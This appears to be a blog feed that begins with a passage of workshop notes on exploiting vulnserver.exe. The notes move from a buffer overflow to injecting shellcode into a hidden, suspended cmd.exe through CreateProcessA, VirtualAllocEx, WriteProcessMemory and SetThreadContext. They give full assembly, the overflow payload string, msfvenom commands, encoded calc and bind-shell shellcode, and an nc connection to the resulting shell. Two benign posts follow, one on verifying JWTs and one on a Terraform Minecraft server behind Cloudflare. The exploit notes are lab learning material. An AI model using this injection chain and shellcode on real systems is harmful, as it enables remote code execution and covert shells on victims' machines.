Write a shellcode inside this allocated memory.
Using primary thread in cmd.exe process, get the EIP register value.
Change EIP register value into the allocated memory address.
Now that EIP is pointed to the memory, resume the thread to execute the bind shell.
Terminate the vulnserver.exe

In the rest of the post, I will explain steps by steps how to do this.

Step 1 - Create a process

Open vulnserver.exe in Immunity Debugger.
Click play button to run the application.
In the bottom input field, type bp 0x625011af to create a breakpoint at the memory address defined in the Python script.

Click "b" button in Immunity Debugger to check the breakpoint is put in place, click "c" to come back to the main window.

Then I removed the previous shellcode in the Python script and run the script.
I can see in that execution stopped at the breakpoint (JMP ESP).

Then I step over the code using F8, or by clicking the down arrow icon (third button after Play button).

Here is where I will create a new process using Windows API CreateProcessA.

According to MSDN, these are the arguments needed to construct CreateProcessA:

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Out of all these arguments, I will leave most of them null. There are only 4 arguments that are important.

lpCommandLine: specify a string value of the command we want to run here, in this case it will be "cmd".
dwCreationFlags: specify a flag that creates a suspended process with no window shown.
lpStartupInfo: points to a structure containing 18 arguments for the window, which should be all null because we want the process hidden at all times.
lpProcessInformation: points to the most important structure that will be used to get the handle of the process. In the structure, hProcess and hThread will be the handle that we want to control, depending on if we want to get hold of the process or thread.

Now, I will start creating the argument.

Use any "ASCII to Hex" online tool to convert "cmd" string to hex:

63 6d 64

The string has to be terminated by adding 0x00 (null byte) at the end.

63 6d 64 00

When putting the values in the stack, it has to be in reverse order:

00 64 6d 63

However zeroes is considered bad character in a shellcode, so we have to make sure this doesn't show up.

In Immunity Debugger, press spacebar at NOP, or double click it.

There are many options to avoid bad character in the shellcode.
One method we can use is to add a value that does not end in 00, then add or subtract from it.

In this example I'm using a general purpose register EDX.

MOV EDX,10747d73

Then we will subtract 10101010 from EDX:

SUB EDX,10101010

The value stored in EDX register will end up with 0x00646d63 (the equivalent hex value of "cmd" in ASCII). Push it to the stack:

PUSH EDX

If I step over I can see the address of the stack frame which stores the "cmd" string in the bottom right pane of Immunity Debugger.
Next I will get the value of the address from the stack and put into another general purpose register such as EBX. This will be used later as the value for lpCommandLine.

MOV EBX,ESP

I can create values for the other arguments on the fly, but let's focus on lpStartupInfo structure next.

Since these are all null, I'll use XOR to create a zero value and save it in a general purpose register such as ECX:

XOR ECX,ECX

The value shown on the left side ("33 C9") is the shellcode payload for this null value.
I will push this 17 times for all the lpStartupInfo arguments.

PUSH ECX

Next I will save the address in the stack frame that points to this lpStartupInfo structure into another register, such as ESI.

MOV ESI,ESP

The value stored in ESI is a memory address that points to lpStartupInfo, for example this would be something like 0x0194F998.
lpProcessInformation is another structure needed in CreateProcessA. Though we can use any memory address we want to populate this information into, I'll give it 4 bytes offset from 0x0194F998, which is 0x0194F99C.

I'll assign this memory address value to EDI:

MOV EDI,ESI
ADD EDI,4

So far:

ESI contains the memory address of lpStartupInfo
EDI contains the memory address of lpProcessInformation

Push both to the stack:

PUSH EDI
PUSH ESI

Next argument in CreateProcessA structure will be 2 nulls:

BOOL CreateProcessA(
  LPCSTR                lpApplicationName, #null
  LPSTR                 lpCommandLine, #string "cmd" that's stored in EBX
  LPSECURITY_ATTRIBUTES lpProcessAttributes, #null
  LPSECURITY_ATTRIBUTES lpThreadAttributes, #null
  BOOL                  bInheritHandles, #null
  DWORD                 dwCreationFlags, #string "0800004" that's stored in ECX
  LPVOID                lpEnvironment, #null
  LPCSTR                lpCurrentDirectory, #null
  LPSTARTUPINFOA        lpStartupInfo, #memory address stored in ESI
  LPPROCESS_INFORMATION lpProcessInformation #memory address stored in EDI
);

So we push ECX which contains zero value two times:

PUSH ECX
PUSH ECX

Then for dwCreationFlags we need to create a value 0x0800004.

Why this value, you ask? Refer to the Process Creation Flags section in MSDN. This is the sum of two values that I want the process to be created with:

0x0000004: suspended process
0x0800000: no window

0x0800004 contains bad character because it ends in null byte (zero value).
ECX register already contains zero, so I will reuse it for this operation.
Here I added a value that does not contain bad character, then substract accordingly to get the value that we want:

MOV ECX,9010105
SUB ECX,1010101
PUSH ECX

Finally I push 3 nulls for the next 3 arguments.

XOR ECX,ECX
PUSH ECX
PUSH ECX
PUSH ECX

Then push the last 2 values to complete the structure.

PUSH EBX
PUSH ECX

MSDN describes that the API CreateProcessA is implemented in kernel32.dll. I can get the specific address of the API using tools like Arwin.

C:\Users\test\Desktop>arwin kernel32.dll CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x77de2082 in kernel32.dll

Now we know that the memory address where this CreateProcessA API lives is 0x77DE2082, I can call this memory address directly to populate the structure in the stack.

CALL 77DE2082

Or call it like this. Note that the API name is case sensitive:

CALL kernel32.CreateProcessA

But I prefer to store the memory address of the API in a register before calling it:

MOV EBX,kernel32.CreateProcessA
CALL EBX

The LastErr ERROR_SUCCESS means that the API result was successful.
But how do I check that the process was created successfully because we configured the process to remain stealth without opening any window?

I used Process Hacker to see that a new process cmd.exe was created under vulnserver.exe. Right clicking the cmd.exe process, I can see there is an option called "Resume". This implies that the process was created in "Suspended" mode, just like what we intended.

Step 2 - Allocate memory space to the process

The stack now will represent the structure of the process information:

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess; #70
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

In the stack, we can see that the memory address 0x0174F99C contains value 00000070 that gets populated by the process - this is value of hProcess, in other words, the process handle or remote control of the cmd.exe process.

The next step is to create memory allocation for the process using VirtualAllocEx API.

This is the structure of the API arguments:

LPVOID VirtualAllocEx(
  HANDLE hProcess, #70
  LPVOID lpAddress, #null
  SIZE_T dwSize, #01F4
  DWORD  flAllocationType, #3000
  DWORD  flProtect #40
);

Here's how I get the values for them:

dwsize: around 500 bytes of memory is needed, so converting the decimal value 500 to hex this value will be 0x01F4.
flAllocationType: 0x3000. This is the sum of the following:
- MEM_COMMIT: 0x00001000
- MEM_RESERVE: 0x00002000
flProtect: we want the memory to be executable, readable, and writable.
- PAGE_EXECUTE_READWRITE: 0x40

I pop the stack twice to get to the hProcess value 0x70 and loads it into ESI.

POP ESI
POP ESI

Next pop the top value of the stack into EDI.

POP EDI

Now I will start to construct the arguments for VirtualAllocEx. The first argument value is 0x40 which is fine to push as is:

PUSH 40

Next value is 0x3000 but this can't be pushed directly because contains null byte. So I'll do it like this:

XOR ECX,ECX
MOV CH,30

The third argument is dwSize which is 0x01F4 (500 bytes):

MOV CH,1
MOV CL,0F4
PUSH ECX

Next argument is null:

XOR ECX,ECX
PUSH ECX

Last argument hProcess is already stored in ESI register so I'll push it into the stack:

PUSH ESI

Finally I will call the API:

MOV EBX,kernel32.VirtualAllocEx
CALL EBX

This will return the result which is the address of the allocated memory in the EAX register.

How do we know that memory was allocated to the process?

I can attach the process to a debugger, in this case I'm using Windbg:

File > Attach to Process > select cmd.exe

To attach to the correct process, I'll make sure there are no other cmd.exe window open, however the process ID can be easily distinguished in Process Hacker.

Windbg Memory window will show the allocated memory address which is 160000.
This shows that the memory is successfully allocated to the process.

I'll save the start of memory address somewhere, like in the EBP register.

MOV EBP,EAX

Step 3 - Move the bind shellcode into allocated memory.

The final payload will be a bind shellcode but I'll pop calculator as a PoC for now.
Let's generate the shellcode using msfvenom and add it to the Python script:

msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xda\xd7\xba\x48\x02\x1f\x0f\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xc7\x04\x31\x57\x14\x03\x57\x5c\xe0\xea\xf3\xb4\x66"
"\x14\x0c\x44\x07\x9c\xe9\x75\x07\xfa\x7a\x25\xb7\x88\x2f\xc9"
"\x3c\xdc\xdb\x5a\x30\xc9\xec\xeb\xff\x2f\xc2\xec\xac\x0c\x45"
"\x6e\xaf\x40\xa5\x4f\x60\x95\xa4\x88\x9d\x54\xf4\x41\xe9\xcb"
"\xe9\xe6\xa7\xd7\x82\xb4\x26\x50\x76\x0c\x48\x71\x29\x07\x13"
"\x51\xcb\xc4\x2f\xd8\xd3\x09\x15\x92\x68\xf9\xe1\x25\xb9\x30"
"\x09\x89\x84\xfd\xf8\xd3\xc1\x39\xe3\xa1\x3b\x3a\x9e\xb1\xff"
"\x41\x44\x37\xe4\xe1\x0f\xef\xc0\x10\xc3\x76\x82\x1e\xa8\xfd"
"\xcc\x02\x2f\xd1\x66\x3e\xa4\xd4\xa8\xb7\xfe\xf2\x6c\x9c\xa5"
"\x9b\x35\x78\x0b\xa3\x26\x23\xf4\x01\x2c\xc9\xe1\x3b\x6f\x87"
"\xf4\xce\x15\xe5\xf7\xd0\x15\x59\x90\xe1\x9e\x36\xe7\xfd\x74"
"\x73\x17\xb4\xd5\xd5\xb0\x11\x8c\x64\xdd\xa1\x7a\xaa\xd8\x21"
"\x8f\x52\x1f\x39\xfa\x57\x5b\xfd\x16\x25\xf4\x68\x19\x9a\xf5"
"\xb8\x7a\x7d\x66\x20\x53\x18\x0e\xc3\xab";

I'll add some NOPs (no operation) to partition the rebind shellcode payload from the generated shellcode (our PoC that pops calc) to avoid risking them overwriting each other.

calc_shell=("\xda\xd7\xba\x48\x02\x1f\x0f\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xc7\x04\x31\x57\x14\x03\x57\x5c\xe0\xea\xf3\xb4\x66"
"\x14\x0c\x44\x07\x9c\xe9\x75\x07\xfa\x7a\x25\xb7\x88\x2f\xc9"
"\x3c\xdc\xdb\x5a\x30\xc9\xec\xeb\xff\x2f\xc2\xec\xac\x0c\x45"
"\x6e\xaf\x40\xa5\x4f\x60\x95\xa4\x88\x9d\x54\xf4\x41\xe9\xcb"
"\xe9\xe6\xa7\xd7\x82\xb4\x26\x50\x76\x0c\x48\x71\x29\x07\x13"
"\x51\xcb\xc4\x2f\xd8\xd3\x09\x15\x92\x68\xf9\xe1\x25\xb9\x30"
"\x09\x89\x84\xfd\xf8\xd3\xc1\x39\xe3\xa1\x3b\x3a\x9e\xb1\xff"
"\x41\x44\x37\xe4\xe1\x0f\xef\xc0\x10\xc3\x76\x82\x1e\xa8\xfd"
"\xcc\x02\x2f\xd1\x66\x3e\xa4\xd4\xa8\xb7\xfe\xf2\x6c\x9c\xa5"
"\x9b\x35\x78\x0b\xa3\x26\x23\xf4\x01\x2c\xc9\xe1\x3b\x6f\x87"
"\xf4\xce\x15\xe5\xf7\xd0\x15\x59\x90\xe1\x9e\x36\xe7\xfd\x74"
"\x73\x17\xb4\xd5\xd5\xb0\x11\x8c\x64\xdd\xa1\x7a\xaa\xd8\x21"
"\x8f\x52\x1f\x39\xfa\x57\x5b\xfd\x16\x25\xf4\x68\x19\x9a\xf5"
"\xb8\x7a\x7d\x66\x20\x53\x18\x0e\xc3\xab")

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90"*10 + payload + "C"*(2500-len(payload)-4-2003-10) + "\x90"*100 + calc_shell

To write this shellcode into the allocated memory, WriteProcessMemory API will be used here.

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer, #the address we want to start copying from stack. Choose from NOP area.
  SIZE_T  nSize, #500 bytes (0x01F4)
  SIZE_T  *lpNumberOfBytesWritten #null
);

WriteProcessMemory accepts 5 arguments:

Last argument is null.
nSize: how many bytes of memory we're going to write (500 bytes).
lpBuffer: from where we're going to start writing from.
lpBaseAddress: the start of memory address allocated by the VirtualAllocEx
hProcess: the process handle

For the last argument, give it a null value:

XOR EBX,EBX
PUSH EBX

Second argument nSize is 500 (0x01F4)

MOV BH,1
MOV BL,0F4
PUSH EBX

Third argument is the lpBuffer.

Since we're trying to copy the data from the stack that contains our PoC shellcode into the memory address, select a few buffer in between to be safe. Ideally this should be up a few bytes, within the NOP sledges area.

How to measure the distance?

The generated msfvenom payload starts with "DA D7". Check where this resides in the stack, for example the value BAD7DA90 is stored at the address 017BFC30. Double click that address, scroll up to see how far it is from the stack. The top of the stack, where the ESP register points to, is memory address 017BF99C and contains the value 01F4. The debugger shows that the distance (offset) between this selected address and the top of stack is 274.

MOV EBX,ESP
ADD BX,274

Push all the remaining arguments to the stack:

PUSH EBX
PUSH EBP
PUSH ESI

Call WriteProcessMemory API:

MOV EBX,kernel32.WriteProcessMemory
CALL EBX

To confirm this operation is successful, in Windbg, clear the 160000 in Memory window and retype it to refresh the data. The memory should no longer contain zero data.

Step 4 - Get the EIP register value in the primary thread

Type tilda character ~ at the bottom of the Windbg Command window.
This will return the threads, whereby 0 is the primary thread.

The GetThreadContext API will be used here:

BOOL GetThreadContext(
  HANDLE    hThread,
  LPCONTEXT lpContext
);

lpContext points to the context structure which is very big and needs to be far away from the stack.

Within the context structure, ContextFlags value should be 0x10001 which is the sum of:

0x10000: indicates a 32-bit architecture (CONTEXT_i386)
0x00001: get the value of EIP register

We'll choose an offset of 0x150 for example, so that when it populates the data, the data will not overwrite existing stuff in the stack.

MOV EBX, ESP
SUB BX,150

Create value 0x010001 in ECX:

XOR ECX,ECX
MOV CX,0FFFF
INC ECX <--- 0FFFF + 1 = 10000
INC ECX <--- 10000 + 1 = 10001

Move the value of ECX (0x10001) to the memory address location pointed by the address of EBX.

MOV DWORD PTR DS:[EBX],ECX

Push EBX. This will be the first argument lpContext:

PUSH EBX

Push the next argument hThread:

PUSH EDI

Call the API:

MOV EBX,kernel32.GetThreadContext
CALL EBX

Step 5 - Change EIP register value into the allocated memory address.

Now that EIP register value was retrieved via GetThreadContext, SetThreadContext can be used to set the value of EIP:

BOOL SetThreadContext(
  HANDLE        hThread,
  const CONTEXT *lpContext
);

In the debugger, double click the address of the stack, scroll up to the address where the thread starts, here's showing an offset value of 98.

MOV ECX,ESP
SUB CL,98

Point to EBP which contains the start of allocated memory address (160000):

MOV DWORD PTR DS:[ECX],EBP

Have to recreate the context structure because it was overwritten by the previous operation.

MOV EBX,ESP
SUB BX,150

Push the two arguments for SetThreadContext and call the API:

PUSH EBX
PUSH EDI
MOV EBX,kernel32.SetThreadContext
CALL EBX

In Windbg Command window, type the following command. "e" is to execute commands and "r" is to view registers, in the primary thread 0.

~0 e r

Check the value of EIP register to confirm if it was successfully overwritten to 16000

Step 6 - Resume the thread to execute the bind shell.

ResumeThread API only accepts one argument which is the thread handle:

DWORD ResumeThread(
  HANDLE hThread
);

Push this to the stack and call the API:

PUSH EDI
MOV EBX,kernel32.ResumeThread
CALL EBX

In Windbg Command window, type "G" to start the debugger, which will run the instruction at the memory address pointed by the EIP register. This will execute the PoC shellcode and a calculator window should pop up at this point.

Step 7 - Terminate the `vulnserver.exe`

If I call the ExitProcess API here, it will exit the vulnserver process and make the port 9999 available again.

Before that, it's recommended to call the Sleep API to make our cmd.exe process sleep for 5 seconds so that the vulnserver process have enough time to exit and release the port 9999:

void Sleep(
  DWORD dwMilliseconds
);

Scroll down the stack, find somewhere in the NOP sledge which is closer to the bind shellcode to place the instructions which calls the Sleep API:

XOR ECX,ECX
MOV CL,88 
MOV CH,13 # hex value 0x1388 (5000 in decimal)
PUSH ECX
MOV EBX,kernel32.Sleep
CALL EBX

Remember to put some padding between Sleep and Bind Shell:

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90"*10+ payload + "C"*(2500-len(payload)-4-2003-10) + "\x90"*100 + sleep + "\x90"*10 + calc_shell

Time to call the ExitProcess API:

void ExitProcess(
  UINT uExitCode
);

Give the ExitCode zero value:

XOR ECX,ECX
PUSH ECX
MOV EBX,kernel32.ExitProcess
CALL EBX

Run the exploit and check if it's popping calculater after sleeping for 5 seconds.
If everything's good, we can replace the payload so that instead of popping calc, creates a bind shell that accepts connection to port 9999 that has been released by the vulnserver process.

Generate a shellcode for the bind shell and assign the payload to a variable in the script.

 msfvenom -a x86 -platform Windows -p windows/shell_bind_tcp LPORT=9999 -e x86/shikata_ga_nai -b "\x00" -f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of c file: 1516 bytes
unsigned char buf[] = 
"\xbb\x80\x9d\xd1\x48\xdb\xd4\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x53\x31\x5a\x12\x83\xea\xfc\x03\xda\x93\x33\xbd\x26\x43\x31"
"\x3e\xd6\x94\x56\xb6\x33\xa5\x56\xac\x30\x96\x66\xa6\x14\x1b"
"\x0c\xea\x8c\xa8\x60\x23\xa3\x19\xce\x15\x8a\x9a\x63\x65\x8d"
"\x18\x7e\xba\x6d\x20\xb1\xcf\x6c\x65\xac\x22\x3c\x3e\xba\x91"
"\xd0\x4b\xf6\x29\x5b\x07\x16\x2a\xb8\xd0\x19\x1b\x6f\x6a\x40"
"\xbb\x8e\xbf\xf8\xf2\x88\xdc\xc5\x4d\x23\x16\xb1\x4f\xe5\x66"
"\x3a\xe3\xc8\x46\xc9\xfd\x0d\x60\x32\x88\x67\x92\xcf\x8b\xbc"
"\xe8\x0b\x19\x26\x4a\xdf\xb9\x82\x6a\x0c\x5f\x41\x60\xf9\x2b"
"\x0d\x65\xfc\xf8\x26\x91\x75\xff\xe8\x13\xcd\x24\x2c\x7f\x95"
"\x45\x75\x25\x78\x79\x65\x86\x25\xdf\xee\x2b\x31\x52\xad\x23"
"\xf6\x5f\x4d\xb4\x90\xe8\x3e\x86\x3f\x43\xa8\xaa\xc8\x4d\x2f"
"\xcc\xe2\x2a\xbf\x33\x0d\x4b\x96\xf7\x59\x1b\x80\xde\xe1\xf0"
"\x50\xde\x37\x6c\x58\x79\xe8\x93\xa5\x39\x58\x14\x05\xd2\xb2"
"\x9b\x7a\xc2\xbc\x71\x13\x6b\x41\x7a\x3c\x63\xcc\x9c\x28\x6b"
"\x98\x37\xc4\x49\xff\x8f\x73\xb1\xd5\xa7\x13\xfa\x3f\x7f\x1c"
"\xfb\x15\xd7\x8a\x70\x7a\xe3\xab\x86\x57\x43\xbc\x11\x2d\x02"
"\x8f\x80\x32\x0f\x67\x20\xa0\xd4\x77\x2f\xd9\x42\x20\x78\x2f"
"\x9b\xa4\x94\x16\x35\xda\x64\xce\x7e\x5e\xb3\x33\x80\x5f\x36"
"\x0f\xa6\x4f\x8e\x90\xe2\x3b\x5e\xc7\xbc\x95\x18\xb1\x0e\x4f"
"\xf3\x6e\xd9\x07\x82\x5c\xda\x51\x8b\x88\xac\xbd\x3a\x65\xe9"
"\xc2\xf3\xe1\xfd\xbb\xe9\x91\x02\x16\xaa\xa2\x48\x3a\x9b\x2a"
"\x15\xaf\x99\x36\xa6\x1a\xdd\x4e\x25\xae\x9e\xb4\x35\xdb\x9b"
"\xf1\xf1\x30\xd6\x6a\x94\x36\x45\x8a\xbd";

Final test

Exit the debugger, run vulnserver in the victim's machine, then run the exploit script in Kali.

After 5 seconds, connect to the remote machine via port 9999 and you should be able to connect to the Windows bind shell:

nc 172.16.202.133  9999

Here's the complete exp.py file:
https://drive.google.com/file/d/1lqnOAvZAnDs4fvJqaYSU20l-DcXMqqmH/view
https://pastebin.com/fAh45H3T

Thoughts

It was a fun hands-on workshop that allows me to practice some advanced pentest technique, writing shellcodes and debugging. This workshop requires a basic understanding of buffer overflow and the different registers in assembly language as pre-requisite knowledge.

Arnold was a very patient instructor and helped all participants with varying skill levels to understand the concepts.

As a disclaimer, I might have skipped some steps or explanations in this post, but this by no means was meant to be a thorough walkthrough. It only serves its purpose as my personal notes so that I can remember what I learned during the workshop.

Please read the original tutorial in Anthony's blog here for more holistic view of the technique and feel free to contact him if you wish to attend similar workshops in the future.

Should I always verify JSON Web Tokens?

Faiz Azhar — Sun, 19 Apr 2020 16:52:25 +0000

I like one of the answers in this Reddit post.

Allow or deny at entrance

"Imagine you run a theme park with a whole bunch of rides. People pay once at the entrance gate and can go on any rides they want, so you assume that anyone who gets into the park must have paid their way in, so you don't think you need to check if people have paid before they get on the rides."

This is the analogy of the traditional VPN.

Check presence of ticket for every rides

"You realise that some people are climbing over the fence and getting on all the rides for free. You decide to issue everyone who comes through the entrance with a ticket, and instruct your ride operators to check that people have tickets before letting them on the ride."

This is the analogy of the zero-trust model.

Verify the validity of the tickets

"This works for a while, but soon you realise that people are buying one ticket then climbing over the fence on their subsequent visit, only paying once instead of twice. Even worse, some people bought one ticket and are now giving away photocopies of it for free. To fix this you get your salesperson to write the date when the ticket was issued on the ticket and sign it. You then tell the ride operators to make sure that the ticket is in date and the signature matches. Now you know that a ticket came from your salesperson, and it can only be used once."

Lessons

If you don't check your JWTs at all, literally anyone could get data from your API.
If you check for the presence of a JWT but don't verify it, people can present whatever JWT they want and get the API to think that they're anyone.
Your API is only secure if you verify that you trust it before using it.

How to create your own Minecraft server and protect it from DDoS attacks

Faiz Azhar — Sun, 19 Apr 2020 09:46:29 +0000

Cloudflare announced a few days ago that they are extending their Spectrum product, previously only available for Enterprise Plan, to Pro and Business Plan customers. Cloudflare has been offering reverse proxy services for HTTP and HTTPS traffic for years, but with Spectrum, it extends the security and performance benefits such as advanced DDoS attack protection and Argo Smart Routing technology to arbitrary TCP and UDP protocols, this includes SSH and Minecraft traffic. This is a good news for hobbyists, startups and small-medium size enterprises who need the enterprise-grade security but can't afford the Enterprise Plan.

I came across a Terraform recipe to automatically create an economical Minecraft server in a docker container running in Google Cloud. I can't remember how many times I forgot to turn off test resources running on a cloud services, only to be surprised by the bills later. By using preemptible instance, the VM will shut down automatically after 24 hours, but persists the world between sessions due to having a persistent disk. A reserved public IP is not really needed if you're using this recipe since you're connecting to the Spectrum app hostname instead of the IP address, but nice to have. This setup is perfect for me and my family to play occasionally.

This post explains how I extended the Terraform recipe to proxy the Minecraft and SSH traffic with Cloudflare Spectrum, adding an additional security layer to the server.

First, I installed Terraform, making sure that the version is at least v0.12 and above.

terraform version

I'm using gcloud command line tool to manage resources in Google Cloud. First, we'll need to authenticate the SDK to Google Cloud

gcloud auth application-default login

Next, I'll get the Project ID and save it in an environment variable to be used later. This is the project under which the resources created in Google Cloud will be charged for.

DEVSHELL_PROJECT_ID="$(gcloud config get-value project)"
echo $DEVSHELL_PROJECT_ID

Next, I created a service account to authorize Terraform to manage the resources under the project.

gcloud iam service-accounts create terraform --display-name "Terraform service account"

I created the service account key in JSON format to be used in the Terraform recipe. Here's where the project ID we exported previously in the environment variable is used for. This key can only be created once, so please remember where you downloaded it - in this case it is saved as key.json in the current directory.

gcloud iam service-accounts keys create ./key.json \
  --iam-account terraform@$DEVSHELL_PROJECT_ID.iam.gserviceaccount.com

Next, we will clone the repository containing the Terraform recipe.

git clone https://github.com/gabanz/minecraft-spectrum-terraform

By default, Terraform will use a local backend to manage the state. However since I use Cloudflare frequently, I prefer to use Cloudflare Workers as the remote backend. Remote backend is especially useful if you work in a team with a few developers modifying the Terraform recipes at the same time. You can follow the guide here to setup. To use, I simply dropped the backend.tf file describing the remote backend into the repository. However if you're the only person using the Terraform recipe, feel free to skip this and use the default local backend instead.

Next, I created Cloudflare API Token to authorize Terraform to manage resources in Cloudflare. Spectrum requires Zone Settings:Edit permission, so I added this one.

I opened terraform.tfvars file in a text editor to add the generated API token, along with other values pertaining to the Cloudflare and Google Cloud account that I'm using.

# Cloudflare
cloudflare_api_token = "YOUR_CLOUDFLARE_API_TOKEN"
cloudflare_zone_id = "YOUR_CLOUDFLARE_ZONE_ID"
cloudflare_spectrum_hostname = "YOUR_SPECTRUM_HOSTNAME"

# GCP
gcp_project = "YOUR_GCP_PROJECT_ID"
credentials_file = "key.json"
gcp_region = "asia-southeast1"
gcp_zone = "asia-southeast1-b"

When ready, I initialized Terraform in the directory containing the repository.

terraform init

I'd like to check all the resources that will be created first before we go ahead creating them.

terraform plan

If there's any errors, I'll add debug or trace level logging for additional information that will be useful to understand what went wrong, and run the terraform plan command again.

TF_LOG=trace

Once everything's good, I run the following command to let Terraform create the resources in Google Cloud and Cloudflare.

terraform apply

This will seamlessly create the preemptible VM instance with docker container itzg/minecraft-server (feel free to change this to other container that you prefer) in a private network, segregated with a firewall that only allows Minecraft and SSH traffic from Cloudflare IPv4 IP ranges. This will ensure that no one will be able to directly scan or attack the server directly without proxying through Cloudflare. When connecting to the server from the Minecraft or SSH client, we'll have to specify the Spectrum app hostname (e.g. minecraft.example.com) instead of the IP address.

When I'm done, I can simply stop the VM instance.

gcloud compute instances stop minecraft

Or if I don't need them anymore, I can destroy all the resources with a single command.

terraform destroy

Cost estimate

Approximate operating cost for Google Cloud is just slightly above $2 if I run it for 24 hours.

Resources	Cost
Reserved IP address	$1.46/month
Reserved 10Gb disk	$0.40
Preemptible VM instance	$0.01/hour

We do need to have a paid plan with Cloudflare to use Spectrum though, but a Pro Plan will suffice for this use case.

Cloudflare Plan	Protocol	Data Allowance	Cost
Free	none	n/a	$0/month
Pro	SSH, Minecraft	5GB/month	$20/month
Business	SSH, Minecraft, RDP	10GB/month	$200/month
Enterprise	SSH, Minecraft, RDP	10GB/month	Custom price

The bandwidth we're paying are basically for Argo Smart Routing, the same technology behind the hugely popular Cloudflare VPN app Warp+. After the free cap we will be billed $1/GB. Traffic generated from DDoS attacks do not incur charges.

This was a good self-quarantine weekend project for me. Play safely, everyone!